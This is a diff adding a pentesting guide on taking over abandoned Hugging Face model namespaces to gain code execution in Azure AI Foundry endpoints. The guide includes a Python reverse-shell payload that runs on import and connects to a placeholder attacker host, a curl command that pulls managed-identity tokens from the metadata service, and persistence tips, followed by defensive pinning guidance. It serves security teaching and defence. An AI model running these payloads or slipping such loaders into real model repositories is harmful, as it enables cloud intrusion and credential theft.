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src/pentesting-cloud/azure-security/az-post-exploitation/README.md

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 {{#include ../../../banners/hacktricks-training.md}}
 
+{{#ref}}
+az-azure-ai-foundry-post-exploitation.md
+{{#endref}}
 
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md

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+# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Scenario
+
+- Azure AI Foundry Model Catalog includes many Hugging Face (HF) models for one-click deployment.
+- HF model identifiers are Author/ModelName. If an HF author/org is deleted, anyone can re-register that author and publish a model with the same ModelName at the legacy path.
+- Pipelines and catalogs that pull by name only (no commit pinning/integrity) will resolve to attacker-controlled repos. When Azure deploys the model, loader code can execute in the endpoint environment, granting RCE with that endpoint’s permissions.
+
+Common HF takeover cases:
+- Ownership deletion: Old path 404 until takeover.
+- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path.
+
+## Identifying Reusable Namespaces (HF)
+
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
+
+# Check model path
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 -> redirect (transfer case), 404 -> deleted until takeover
+```
+
+## End-to-end Attack Flow against Azure AI Foundry
+
+1) In the Model Catalog, find HF models whose original authors were deleted or transferred (old author removed) on HF.
+2) Re-register the abandoned author on HF and recreate the ModelName.
+3) Publish a malicious repo with loader code that executes on import or requires trust_remote_code=True.
+4) Deploy the legacy Author/ModelName from Azure AI Foundry. The platform pulls the attacker repo; loader executes inside the Azure endpoint container/VM, yielding RCE with endpoint permissions.
+
+Example payload fragment executed on import (for demonstration only):
+
+```python
+# __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+    s = socket.socket(); s.connect((host, port))
+    for fd in (0,1,2):
+        try:
+            os.dup2(s.fileno(), fd)
+        except Exception:
+            pass
+    subprocess.call(["/bin/sh","-i"])  # or powershell on Windows images
+
+if os.environ.get("AZUREML_ENDPOINT","1") == "1":
+    threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+
+Notes
+- AI Foundry deployments that integrate HF typically clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some paths require trust_remote_code=True.
+- Access usually matches the endpoint’s managed identity/service principal permissions. Treat it as an initial access foothold for data access and lateral movement within Azure.
+
+## Post-Exploitation Tips (Azure Endpoint)
+
+- Enumerate environment variables and MSI endpoints for tokens:
+
+```bash
+# Azure Instance Metadata Service (inside Azure compute)
+curl -H "Metadata: true" \
+  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
+```
+
+- Check mounted storage, model artifacts, and reachable Azure services with the acquired token.
+- Consider persistence by leaving poisoned model artifacts if the platform re-pulls from HF.
+
+## Defensive Guidance for Azure AI Foundry Users
+
+- Pin models by commit when loading from HF:
+
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+
+- Mirror vetted HF models to a trusted internal registry and deploy from there.
+- Continuously scan codebases and defaults/docstrings/notebooks for hard-coded Author/ModelName that are deleted/transferred; update or pin.
+- Validate author existence and model provenance prior to deployment.
+
+## Recognition Heuristics (HTTP)
+
+- Deleted author: author page 404; legacy model path 404 until takeover.
+- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
+
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+
+## Cross-References
+
+- See broader methodology and supply-chain notes:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## References
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}